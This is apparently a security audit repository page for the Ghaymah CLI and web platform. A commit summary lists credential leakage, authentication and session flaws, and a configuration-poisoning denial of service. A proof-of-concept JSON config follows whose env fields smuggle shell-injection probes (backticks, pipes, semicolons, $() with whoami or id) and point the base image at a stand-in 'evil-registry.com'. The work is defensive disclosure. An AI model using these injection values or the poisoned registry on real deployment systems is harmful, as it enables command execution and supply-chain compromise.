Ziad Mahmoud Ahmed Abdelgwad
a7a479141b
Comprehensive security audit of the Ghaymah CLI v2 and web platform. Findings: - [CRITICAL] T1552: Dockerfile & .env Credential Leakage - [CRITICAL] OWASP A07: Missing OTP & Unverified Password Change - [HIGH] T1539: Session Token Revocation Bypass - [MED/HIGH] CWE-400: Configuration Poisoning DoS (Pipeline Hang) Includes: - 8 Proof-of-Concept applications (PoC_Apps/) - Visual evidence & screenshots (Assets/Screenshots/) - Full PDF audit report (Reports/) - Mermaid.js attack flow diagrams in README Auditor: Ziad Mahmoud Ahmed Abdelgwad — Cybersecurity Specialist
29 أسطر
773 B
JSON
29 أسطر
773 B
JSON
{
|
|
"app": "test-app-2",
|
|
"project": "test-app-2",
|
|
"_app_id": "bfd6bf85-8625-4a46-a0fa-27c26421e9c5",
|
|
"_project_id": "d91eb383-6607-43d1-88b3-b5c8f1fa4a4b",
|
|
"port": 8080,
|
|
"publicAccess": {
|
|
"enabled": true,
|
|
"domain": "test-app-2-dd07c63a4e7e.hosted.ghaymah.systems"
|
|
},
|
|
"env": {
|
|
"BASE_IMAGE": "evil-registry.com/evil-image:latest",
|
|
"DOCKER_REGISTRY": "evil-registry.com",
|
|
"MATH_TEST": "$((10+10))",
|
|
"RCE_1": "`id`",
|
|
"RCE_2": "; whoami ;",
|
|
"RCE_3": "| whoami",
|
|
"RCE_4": "|| whoami",
|
|
"RCE_5": "\u0026 whoami",
|
|
"RCE_6": "$(echo id)",
|
|
"RCE_7": "$'whoami\\n'",
|
|
"RCE_CALLBACK": "",
|
|
"RCE_FILE": "",
|
|
"RCE_TEST": "",
|
|
"REGISTRY": "evil-registry.com"
|
|
},
|
|
"resourceTier": "t1",
|
|
"_detected": "dockerfile"
|
|
} |